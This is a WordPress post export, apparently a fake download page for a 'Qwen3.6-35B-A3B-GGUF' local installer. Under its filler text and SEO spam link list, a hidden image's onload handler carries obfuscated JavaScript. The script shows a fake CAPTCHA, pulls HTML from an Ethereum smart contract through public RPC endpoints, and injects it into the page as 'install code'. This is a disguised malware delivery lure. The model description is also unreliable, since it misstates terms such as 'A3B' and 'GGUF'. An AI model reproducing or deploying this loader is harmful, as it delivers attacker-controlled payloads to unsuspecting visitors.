Wv1qJomGJVI0dvROvj8dN0LPO01\/FUmRaXf4WHHbxIxY5Bi5m0zxv1wLqTO14WH1TMO+hDVO7eS7F1aqhqXyCSueQ7i\/xTDhEBDGCCIcIj4+IZ8s9J9fT5Lb32Rq\/r55PXG9ES1zc\/DC2HIdyh8YFXDsf0cjdgPHAKOdIjeNockeTmxK4XflJI9zI4XVD9QOwzwf5i\/I+XrglzFVvbkQizuCE75Nz6omdmM4rNhn05h8g7Y5oAwZubL8\/uaAJ7Mf0LovzvTHBg1S7t03z3pLKMtQJw7iys9WrSvgtfmtFBFENMTZqAW6\/uVc6uC\/boARqCTPX4d9Lfou9J\/Rf6Qn14UxHonk8x\/CFhLI0bEvmOHVVJTFlqACN2ulxu6U+HxGxcyTwLcUkFampmZAPx7pLMAcZ2Yyl4O1bSRqa21ELd0pPeIxdv5E8WXEE7Xwx1D3\/9qudxt5oPIOsXqqJ49FAO+TQxDpU0lra8GQiIoU5RCC0zAOx3HUJG\/a3kzPkGYs0bdfA1DOE3dePEzdy7QxGXJguFvBX\/py65zfOmCKdqOR32fJZZaDdYPuz4\/\/JEgFoHInT+\/xH5e3uh+TlPrfQqcEhqmeNXhXnnP5b1acTLI2oMSzlTI7xSXkH\/jjMkNSxrTw1q2vVHf6BlvFiEYfZ7IICZKEfOXzhhPTBrzayJAq3Zqb9PLewcCtsBrPFJ3BZZIRxzRZ7u3m5wBViEEnyGDqIZ37969uK29fGAl1w\/Dk2Nb1xzTLD1\/jOGpMwqoqtkL6cJB6HWFf1bN6+aSPLsjJAFjG9kx1teXQZqrpyFcXRgVQvJOQnqkzBCE6RvB+OoDTU9IGHJk1Zai1vnV+gwUpQQFQKspvZk3tEOlIH\/7PQxTCJZVrVqqa7ZDL6veGvuvO\/cO8+M0y3gXS0ECA+sx\/WKMkb5EdYGNsT3F4M4FrXt3HAzFdjmYgfw4oUoBxTZJ48sjXAlw4spvaO1ahnvtG676pZ+z+zEfoIz3i4Lh3uqKQaqBL94nkj3nGFJ3qBxfwcIDyvvWlpiZrisWFhjyGnneqrQqFa3IUBSTMvkn3jqCzwVM7FJuz3hMecTwY2BHYPydoXkgFIkgBMWB+rLwXhvHi9qMC0GzWcVsIaKSryHPSsLtU9uyQ2E8T5MZytVwhjqkYnnr0UszzeeB8sVwcRHidbrsF2O7OVBoSayFgF9n4ZdgW62\/CyabfgSw1fmLrC7HKJ7prgUmV\/JGY3iy6a4o0En3BB5eKcshRA4r3QtlBUr3fQrqzg9zOXMn0XmN3k9OQh4+IgKH1+80spa6dK8d8rebe5rUMzZtttCc6R5pJ8t3+LEJqStreCJWUyanUtwCopXtH7ewmLmrbR9FBsT7QwBcE8eIFPw7RCYlxyFbV41o1opt9lrxgt5bor4VHIA4c492J6j3rjay7JJ0QvDjvkIg4rcmixZyNRErSPIK8Z1Pe3bdZ7IaQ\/GO41BvLm9b6rm8r7Z\/NDE1R9aH5jxZK0bnRP1ZvI651jE2QVHzOJUua6foaG53jWHM0n8oxxTuLrJlOAr72kkBARXH8WQbR82Bid2dc2pCM99fBsTCFU5ytIXDyaSN\/l8XEezcb\/a69xdfQv\/Tpdh0Lb0i4BuCXrg0r6qPnnBUUAed3KPL+58yWu3\/2mlILvvGQEqnewWfcI8xgMfPIWNfVRGX4lYuQg3ZyqjDwFekNMkdhQani+KubFhQyXAyO1LIobg5f1p+v9bwh4YI9paYwVio6d47r010YZJBDBQpAvq5SaavITMpLDT2hkxTF29h9LQde6GuL8gMbRRVSfPMdBICYi\/wBBlKSnSo3D1Q6\/f8QirwibUdn4y8lxM3keXRKwSU4gyXXrGuvVRDDyaTArus8tqCZDaidqVxGa7ac6HDZ2h1PUviFF+cPYMDcbMUeVjlarDsnSGXD17zrzK4JPtJJm7yerp7rtGT2tzfAHIJb3Nn28wAu4T6FVQSs6kuigo7SqduzmGrIkK66IzyGs4ZaUNwWLeVgnmD5fdY\/n6uTRF+uCrcLxRC3iNNkXW+umW+8RE1oOBOaP5OpXhr1FYk2jN+xGcbAAcnLbqMIB+P38wlRhFUEVWnWAp3r8Ji\/DYOKVTlsNi4YUcRqinLn\/Sma3+qiJCtmt4zQkABmp5QAaKt8sifXTuiP63s9toqonNeKICJt4nnokSXN\/+beCS\/VfM99HVqHVMUaemhtktttp4Vnmp3tIcIKebrtndoevcBD5kEHI14ukzt+tV7eLN3+xylhehzQTLjG39dZIvSpb9UFZ7Cm+klxfj4cGKgiNSppmWvavElKhQBcbYmwaAPbF7OvuBZIJ53NeYbja0srG9vl4aK9NCTKe14PrivE7gjl3ZO6nv2MVG6DCNmAINcFolQRSJn4o6TA3T0otTyIxYij3f+Q+BZNis9guTIpup2qyyTXt9J0xdDbpnAJZbf3TVytZOcqo9V\/jEt0egOjM2y5qXpkHK3nHqjxXhG7tksukAx87MZGkb1C17f0dAoJF2kmRrKfe+6Uh6oHtbcwq+ESbs\/3r3KM97OhtD4AWAWhdQDxuYMiRjKMFoSGmTzk6DHhjbZvdz8lmdz9bxlLbcue4BxEAir+oVOtMxb38IFrSbbdkVblY5+KU70m83Q+zoRhJI6QoIWk+Q23iLWG\/5ZyhCrjSL981guJG3ujwaTHRjO\/6BQ5kBXuzZxyMIfkABdLhQF93\/FB71NSKMnqTgtOi6RYgwG7\/qMocL2UEVd8UJCwq9gT9Ci6fAJ4VxDSIGFbN3LxPAd7Vtjzso46yMHz98Sg83t5Bf\/pFY+KYLtzrMEW8TznbgpNTNFgLXS6gysmDhOwquBnMVl30E4MJnn+cnP4NdHMQlQFVqND15dGVEUHEJOlkjjtEeuxFVsP+ShWTlIxy\/4CqVeNhK1RkN9X0VEXTwd6Hjhd3fkwdh506kIUvIPyqzZz8d3oljTm8Em5eHj26fQfEql\/AA8KWtXa9n00ED\/a6kesXpUufWqITXv44SsdRAOho3vXsEJMns4OC+9RhXnmOWVlLDjPuHZ8hnEbqLBKEkjl912gz\/RCEIbMhJOPWONzTUEg9pVzCoaR6TK15WtHoyLw6BWGLNWcuVcn08wrLJwGNR4\/qlYC13sYDGhbtyMcIyVo4KJCZUmNxo7jsrIgxuJG97OdCD8LlbJ3C41q6EgaRi\/YAfdOPJif+3sj0AU3+taS7T1bb1xp6RI\/3u7JwfmPWOBCdwZL\/O5yu1zyujVX\/Ztrdza+Dbmk3JD9+L3YnoFJw0\/fLqby3GYqpxKHhLn4\/wC\/Bx0BjIi9ymefgZjrqU80Mp4OcNVp76fbbt7jvd0vo+SglcmHahUvHTQGoGrN7iGklJh\/E+MFfe2odTmfhyWPn1nGI6T6YB8YnMFeOSom2hPuElJMftlXCIpjJziGKPfZQ+OdlpuYfXhpcXuf7LGE6VDFkB1TEHaamR\/Mn4FICN3id5vb+\/qPiBsqWhQRL\/inr\/daEo10LKwknblk+cnLfnyApy7ZBzxvPFE1c5iy44MbXbnBMN0taAjhcvjrNtXcl05y1UyKcwtynpmfxxcU\/UvLmSlIzgiiYL4Bw1SFxjoJRYM6e+GW\/cXx8zP+w0ouhlhz20wtMvvEkxcLOzvcjdvp2OVIO\/soPeg4oquR6\/sf2xDbShFZ3mCnqdhL9g6NPbGxIHKGdAYL8tqap6sXSopiq8h6TxDzzAQO+4qQ0YiQShhw47jOnOmzFYF+4Hn0g2u22HjpFIB58qk27\/MpB8Aez9qPFEir5f+YoJLyLqyuwnkbpa64yvSgZuHETUDfJXPsddgZjtswyX4mrtyPh8KFwPzQNbULdpQLJdboeFvaJO9TzMhwUOwG5xpfWBKtQ8rT2o9+IQracbCOy5O08+OBSaznPnHpWtd5RjiHS4kXJVF5sh7c\/Ticf+HdODNm9F3Pz0gp49e3izCrBNa042jBJZCVcNxa5dd0pSRqakdwyH2iF7u9uHhezTsBYZc6mtSpu5DqqIIDj+1PEX4TzjZo6cy1ZH98x5rLgscEvO9y5F+0ExCmharGFJ67A49DGzG1sO7Xb6KwzaKHxB\/CyWUFEHuqjTqxzJo\/gPUcRE63aHkH+daug\/1cNIyUoJkYI7+YPcOM8waJ7RQ46A9DfvNp8V5K8mIOGZecZ6KYTxGQgYjDb\/M8HfpXhTHRVvg3wmL9eG1SZsazeN5D574swH6ZdWu4Wq588n\/\/h2vEJc9qrMBeKHWMTmVqiIYa32eFnGnJqH+HA\/5CHwoXtJWaHQKNk6U+CN8LnFRM\/IpyDj5vs5+y7y4L2rVrnHm9v2CYVmiU6zZqF7xaC5FNJY5etoiixEWvaD9jyP1Fvs0dB2a1ecbXoMpW8QvOkuLctI8MOH0VGDm\/YE+W1U7Fw7ghzpl8blsQnxKINkwihFZYzm9AQnZvWIq8PoK3mySEnRTnD0SG7FXg6Yx+D\/vptEusUMXjZXTHrr+jUXo5+QSdasuQ1l0cimh7mbHbow\/UaPtrNel99\/FIywjcXQpjfZPyFyw5ccxCpaHrEo0xFKUNoyf5izKcJnnHTvuJ02\/iQ8oVSA7u6nQ7xTGJJ0cNQGF2ZYQP\/2TzdLB37yRJ7bAKjuJvo4tkeS9oMvh9\/6zbwfehRpw9mBqlig3xebkzhBWz9R60mhNByVeRCffuuv2jFBmUUAA1IXBtQAAIf75xUutsj8y27o0hX\/9z6vh9cLjH7E1Sgc54yMSYWzYKBGrAHNUUVnmzA41qPkbtL9h97KvOWSLWB69x7XD57oFS1BZByfwY+FNQGk5EDsKFSJA3SdyhoOXqcJnJksKg\/HPQOEUjowjHqa4XIv4Zbw4yB\/hEaJUt\/z8L8rtLl5kl0Y3jTLm3ri5NLke7tbybnvwJVRm+Oilir2nmq7KLhfNddP12OXrD5J3in3WYqiA0KHKbFflCJ6VlM7xUCevps\/HEch9n\/M55WuYPWYyrnqWzr3M3xRwCV3a9juLLaVTCC0ItRQjlFJeB+w4UMYtiwih1co5OEL2ocld5QbrXpZ1aivMUpCM9hsSwVm0iv+9TB2vTwA2kAf\/Q27m9QjdAtNLP\/98jwcFo2qs9W\/P\/r\/Qa\/zIO8QVQADnS6aqizAhx7DFyKfMlzeCxY60\/cN4gj8RbBSZ\/E8JdkPr+DU51U2b+nymzfy5BC3POy+MHWvf0KzDDDN2tC\/Q6vYs\/PWtJqFe1KvtC610j+iKe70J3SkgM5YimdugHaeheRMYYuy7QBQXTmynnrQuPmmLGyO1AQLTEoOOCVdiifjiZuroRDemKP9wyUzWkNUmOmXr9\/Y5umKquJetvBNl7QMZO77S22dmDjY+M2evmzN5tXa8t73zRpMxPjlkjLgGjlkyGnX0uu8TI7invy0B5OCidMbJxIvUg65dUb0gFR3ClmDwWgRcv8KaegPD4QesVxG+4LWAvIk2o48ur3wox8ZzX40bwzoxrKxlwUcVaRx9tEhjKgF1umKTYcxAY1822vzCszLPHTBNzmRYcRRBupoWRQuB1uQZzGz+yi2Nl+2HrwCnbtRt1ZnqLik22WV4wPeKmWpx+dKj+TFd2kYt3sTYilA98bhCYncQbmVIxOD0GRbXv\/yQvuzdJT7yI97R\/Nqg\/aBod4LKVJo+6E7o0g07O+op7aWB9N1AA\/8dMEBPfHZeRFi02mlkF7vcAAAAAAAA9PtpTQmPap7I5c5avfwo1yY5GvOWlA1k5n0LjeZKz0LbjuSS8HQ638ikKi574a4ByF65anRGYuiuUeSqzjtjS3MgrLfcgMH\/PU\/OJ3dqV2JyiljqeBGX0Wrbz8anYHKbNqFPrib6Q8NIR96ntz94euY0\/VSDI2gjaFmIMnreXcmp35IKW0qXE8KqTkelcNImb5dtYyVUpiKHV1H7ekMheqRbMduZMGk7P3FoicVfzMvJ6azJAqFZJnGyoJOvAQID9SlMh\/ipwEshZypuAluhoEhUhmbnX5vEAvPzCk5P\/89HD5i4bhPaXz3J2S1bKfWEwcQrvDty0YitkCe3mgNuu0EI5Xy41VygxTf4rcCLhM+UhqG\/K9qH2cEU8BYexsHpZERwDC63hT2X3ZJNCKt5yHq9WV2PPQ9x+M24K0xASp63xBfu276LEwxZ5Wkzq68qv6Q+76EsaM4J\/3SMcwtKKGWBNbX1puEqtmoAqkUV3xVbPgV0olOHRTuZA+JOcL5eGN+RcWss7dr0\/nKAot4\/BFaSeWZWqOJ3z8LCtBIJ9V+v0yUpfeggpR7SFz1RzkJTfkYQp1k+OEBh+PS7Eu34ST9zvXseKej5bCNhXEw+4YMJTqxWRqMFn8nj6NscBbVydl5DknLuvnYc9OkAlHymo4I70gyNLAekL5e\/pYi3V5w9nu0+OFOeiq9hvaAKEi1H0v+CRvx6wAAlWbRKOnFByh2whUQsCiYnz6wwZINpuL9wfyH0njYRNJ70CKfO8Tvn31hAdk247sWcRqZCdxRV0Zj6NZKd\/ZZ8rO7lLPfFpDBeWWBzXRYo6MjHxxhM9cq\/7vjL07SXSCIQFQAYN4lEBFNWWYoUOeVkYyxUSCD0w1czXjblWdFj\/7v7bMNIJjPzxdD2IH738F3imesQgnev8XFaKRMlwqhK9Zu8wVgu0PcdakHYJXdhAAAYvtJsqACvHBulZ\/TUHfbjq20CvxMd7A2iU0USSbGCFNvwfgIs65x46aslEitcFmT7YdGeeBW2sId3JwCd2KHe28v8dq+LNWQwHiSzm+fM538BJy99ksd77OfqXOWiI\/MeGOHcm9MBa82Vw5O8\/+9hGABmJQCY7JtDCUBUps6mVZekpEIwSPiZaHmDEQmExeaQzEI6Vbssu28V\/sFaM4JAoAq16pvSqdXBM8G25rvMmr+UC3RABsnG1q0x1C1ZDTVcvLbswZ0pHn3pPMxtYvjt05MrKC8APCSZlAfVHxtJjRupio5VlhVrfUIZ7Sa6Ixkd82KhV+OWgMNrnIi6UTtGnqm0fvI0yH15nlT\/x8+Vf\/W9Rb05SeF6DiJuitRJRqxlhaO12chibMFmM\/X5lCTje6Qn\/0VogTOeIjhrOxuF36NrZSrm0yJtN87rdjs8+I0pZo0EOT9dQt3P3B1XmnyPUP9hzf65hLsfrxaFWGv5FTozbbyywjagV0UeOr69yc2u2CMThX2mrYjZr2TYPep3vBRoyeUvEeupiE4mr1buVQDyZI4AOy+op0fmgpcTlQnV7okcEh\/Rfdb9bY8jEW429vfXX7F3DOS3ZycbeMALjKWpj+KpXrX7fgj4kCx7gOB7lsQyJS61IhLM5Ecp5CjoipeTX\/LCjH9eRhfeBMe1cg4TKncDQ1yAhUc6tnUw\/l0WMp1QRNHSdMAWvPKdYa23H\/CY19C+1hORzGQCWdHSZ+XcvYX3zzN9rGtbrQ9o1Dz98CXuP8Wh3f9Pe1X+v4IwnSiaa3Ssp9rlqS2nG0K4IRTi7bvqAAAAF\/QAAASr7bf+BObDcG1Z5ow1jnQuhS6nbDdXQLsEgTzMxifa\/7byYARZdQxV5aZmOCbYmnzkTVX\/rAaFmBRdirFQKqsLqgwrTnqw5qpk8F6qCTRutONC2zt9xiF6WkcUiJocehpKjBiAVqvkGF0SsAZZ+TgB8n1gk4J\/LElMyqPeTQecj4+zmN4OplJwihxDS13g\/Y3GPAyjyxS8+S\/wsiBWJWlJVs8h\/on4RcSTXofwaTP40zYl7c5iLyRjVKJXxFOWh3vsxGLii6xtT+qExatxpIbmXM77jsgbeW3VfszUFDNZeHWkUTQGoLE4NdSeSIO0+fGDqvgGedPSlE\/E52db6Q4kF86aj53GWn6RgUyppxYY4QO9UL6PhiPVon1FXFhVj9cTEH70W\/OsV5eQ7n5JdxjWxoj069MPiXbGjGybS2E+zZ92RwlmCONsYr9gIEc4XROqiD75TKlP4EDCXbs\/qrBz5J0XAD\/NtFDSkHqWXwG14ar4LI3IlKMcHTYSzq0yTv5VTTaZQoQqcdfSgSXreaiXxW7Bw06M534k7QsG9127HyCglEjRZTV\/eBLD54jjhffiRrhOrQwNEjGqDPUmanohX+MP4e15wI57pnD0RC70FVMMTIYoeL\/PC+vqt\/OU1muzvxW7O5BDV6o5lT6eZmFYYbuTIZtMmYvFtQ5R\/934obPd+7+XBRajuNJzGbT+cQw5Ni8FoLJxBPUBWt2CkGsajvXfrL30oSk8WrDqFsEnePVXQU5nFS0AAAN2f6Ds4TCuRDga+vMLcKhagAjH0aeSU4yLDQ3xX4MhvIR\/72w\/XMyvjAlZq2eVaf28EWLSWS+RETW+g9bovfArbcC7P7cnAmcCt7KsyTUyj0FsKAmZ2grWk2G9Bd4qCj4GL58aBPafP4thKWnMC+5kOWzK8vISu8JE0WicFJI07WnNmfsdVcp7HUbnZO7nbNMYvAVFf+MYpkZ3Qjs0sQNOQiCMZgWKsgKazkCpyMVMmVKca8G5tOVWbIWFUUWVBZCcwBem+CnNS\/geij1QxR34WPdPzJlS94TaKl0\/Dw5UmYW+Vi7mQw1vIaU9FfDRoHuPHU1SocQqk5UJ76eNzbfXzxQ\/QzrgQR4vYiEAkqPmFvdbLH784t\/Sr5Hjaf9iL3+aU7DNSPHUUDhtW9ZxhvzAcF9tQ8bCK+twQ0MN1t50NpxxQ7gXtCpoSi1gcLZbLTJLl22T4C7d3h7PLEAjGGSm1ssbut\/OcYcShftUBVylie5vUMhFKC6AkcPYeeZmSUu6DlRpJpSgygp5TXXFlgA8kyxEg\/sylchGyrrUxKPRvwRY+mFhCpp+CU+4RQEKxvCa1AQiMxi3hTDolirG8U8RFbn3oSgvlajxn3EtiF0R6w8uUitXNAA0Wy3tZTEiqaTwCiWpqOjHJulW5VAmSBUR2XpuWt5pJ9dOHXFbfQcsooVI2rk\/qAjcvMrWM+UUcxN8e1jR9OjkSBBKB\/X15uSXphdG4viBcq4d4J7qMDI+Eu0PBHIX\/kYobPWz47w5zUHcAxNGhhcWN54Aw+s1\/Ym+4LFcYmNM18QzyWY2RjgoHsmL1HOKp5NW0292ipOOQBWaeEaGb7y2jBFmXRVrvbdtReeNlPLqeD6EM7VA3azWbyAWTz+2OfBWN9uUirjfpihQuBnjdKxejOH9gprNENvB2+cHGAl5BuacTRLiLxAfbk7S9zIFqL6DAXKqQpnITHSwIpWACcWhZO+P6YeIZ1vfKuFCb\/KpxwCuiQyFzhiT7CRxgOFUl2Bm13tTr\/NpQoa9f8AT0JO+ys0XwXOHki1ie7JXGRzxDdG2NuJg5jskoVACF743hNpjKjPlInfGEoL2S2AdXv6NtEVYB0cCXYa7DqUG83m5QPt5lgmPox4di1tHGkm7sPMZeCwbvMCEDPbXi\/zsX7pKaN7XBo+3jEQn3VxjPY\/IhaCTKuiOvkz\/EHv0HvmBLrYxK+qTaRNxaCninpKy\/WSiVomZhZ7KxiTBn9CdikrjP4VeCwyi7qNjZdg1vNMNtaRQ0EpoqVplpJx43a\/8Q7sU79qrnXVH5mBvz7FrnZ\/rtocz\/qYR53Ny3ooCortOo5sNJjwdD2WFkPCgxfHBTVOC6ah1+52KelxKCsosAq\/wZdc+eJnjricIk8sJ1oAVRVvHjuNhD2tBaeciZBStGpRvFSghZIaOAjmkx+qoWCmgq449A7xnsgQETj6uD9Ex\/CHf1tYFIf\/Z2eFUO4ei29dbASHqQBG28ry4rYWgbZrANcv1YK7lz7q66n6mqjceLxANBFJKJA8OcWvIlEgE+f\/3ppmWOwiYo7KJCRXShHOYWpN5eC90jP7vg+4bhRc1sRLJ24DyhTsnyPEycHcpT0K+CbGNWARgwPlBHKRDRY4Qy5uX9K0zJV77BtblN55Q1PgrT\/x1TX21bzHWd\/2dbz3q52blTagBL5UIiVUAkBRHZul484fRvx1FQDutFMtROy3kZ1FrbT2ZE\/7Cm881jDSqqf9zOzs07hYG0FdWGO5Tb4chYQNfhFrGpnVfZC32\/dD8TBfqNPKw1QPSOMLglomGIrvr\/W6WgRaDb0ax2EYUHbL3ibmVCbLWRV+76jWEqb1bl4AAA\" alt=\"Install Qwen3.6-35B-A3B-GGUF on AMD\/Nvidia GPU Quantized GGUF Windows\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>The <i>most efficient approach<\/i> for a local installation is leveraging <b>Docker containers<\/b>.<\/p>\n<p>Follow the sequence of <b>steps<\/b> detailed below.<\/p>\n<p> <\/p>\n<p><i>Hands-free setup: the system self-downloads the heavy model files.<\/i><\/p>\n<p> <\/p>\n<p>The program scans your VRAM and RAM to <b>seamlessly apply optimal configurations<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:22px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc;box-shadow:0 24px 48px rgba(0,0,0,0.1);border:1px solid #e2e8f0;\">\n<tr>\n<td style=\"padding:50px 65px;text-align:center;font-size:26px;color:#0f172a;line-height:2.8;letter-spacing:-0.02em;font-weight:500;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#212121;font-family:'PT Mono';\">\ud83e\uddee Hash-code: 93b40cb05cde9d48b892e315a4f39c56 \u2022 \ud83d\udcc6 2026-07-04<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'a3110a0e_qwenbabgguf_amdnvidia');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:25px;padding-left:18px;margin-left:0;\">\n<li><b>Processor:<\/b> 4.0 GHz+ <b>boost clock<\/b> recommended for CPU inference<\/li>\n<li><b>RAM:<\/b> 48 GB needed to <b>prevent memory swapping<\/b> to disk<\/li>\n<li><strong>Disk Space:<\/strong>70 GB free space for <strong>full FP16 weights<\/strong> storage<\/li>\n<li><strong>GPU:<\/strong> modern architecture (<strong>Ada Lovelace \/ Ampere<\/strong> minimum)<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3.6-35B-A3B-GGUF<\/b> is a large language model featuring 35 billion parameters and an advanced A3B architecture optimized for both speed and accuracy. It leverages GGUF quantization to deliver a compact footprint while preserving strong performance on a wide range of NLP tasks. Benchmarks show the model excels in reasoning, code generation, and multilingual understanding, making it suitable for enterprise-level applications. Users can run the model locally on modern GPUs with minimal memory overhead, thanks to its efficient quantization scheme. The integrated <i>fine\u2011tuning pipeline<\/i> supports domain\u2011specific adaptation, allowing organizations to customize the model for specialized workflows. Overall, the combination of <b>high parameter count<\/b>, <b>optimized architecture<\/b>, and <b>quantized efficiency<\/b> positions the Qwen3.6-35B-A3B-GGUF as a versatile choice for developers seeking powerful yet accessible AI solutions.  <\/p>\n<table>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>35B<\/td>\n<\/tr>\n<tr>\n<td><b>Architecture<\/b><\/td>\n<td>A3B<\/td>\n<\/tr>\n<tr>\n<td><b>Quantization<\/b><\/td>\n<td>GGUF<\/td>\n<\/tr>\n<tr>\n<td><b>Typical GPU VRAM<\/b><\/td>\n<td>16GB-24GB<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Downloader pulling compact executive summary models for processing local file archives vaults<\/li>\n<li>Setup Qwen3.6-35B-A3B-GGUF No Python Required<\/li>\n<li>Downloader for Open-WebUI Docker volumes with pre-configured models<\/li>\n<li>Qwen3.6-35B-A3B-GGUF 100% Private PC 5-Minute Setup Windows<\/li>\n<li>Setup utility configuring sub-millisecond local translation overlay setups for gaming arrays<\/li>\n<li>Quick Run Qwen3.6-35B-A3B-GGUF Using Pinokio Uncensored Edition 2026\/2027 Tutorial<\/li>\n<li>Installer automating Intel OpenVINO toolkit matrix expansions for local PC nodes<\/li>\n<li>How to Run Qwen3.6-35B-A3B-GGUF on AMD\/Nvidia GPU with Native FP4 Easy Build FREE<\/li>\n<li>Script downloading modern cross-encoder weights for refining local RAG workflows<\/li>\n<li>How to Launch Qwen3.6-35B-A3B-GGUF Offline on PC No Admin Rights Step-by-Step<\/li>\n<\/ul>","protected":false},"excerpt":{"rendered":"<p>The most efficient approach for a local installation is leveraging Docker containers. Follow the sequence of steps detailed below. Hands-free setup: the system self-downloads the heavy model files. The program scans your VRAM and RAM to seamlessly apply optimal configurations. \ud83e\uddee Hash-code: 93b40cb05cde9d48b892e315a4f39c56 \u2022 \ud83d\udcc6 2026-07-04 Verify Processor: 4.0 GHz+ boost clock recommended for CPU [&hellip;]<\/p>","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[117],"tags":[],"class_list":["post-2043","post","type-post","status-publish","format-standard","category-awq"],"_links":{"self":[{"href":"https:\/\/rudypadla.com\/fr\/wp-json\/wp\/v2\/posts\/2043","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/rudypadla.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/rudypadla.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/rudypadla.com\/fr\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/rudypadla.com\/fr\/wp-json\/wp\/v2\/comments?post=2043"}],"version-history":[{"count":1,"href":"https:\/\/rudypadla.com\/fr\/wp-json\/wp\/v2\/posts\/2043\/revisions"}],"predecessor-version":[{"id":2044,"href":"https:\/\/rudypadla.com\/fr\/wp-json\/wp\/v2\/posts\/2043\/revisions\/2044"}],"wp:attachment":[{"href":"https:\/\/rudypadla.com\/fr\/wp-json\/wp\/v2\/media?parent=2043"}],"wp:term":[{"taxonom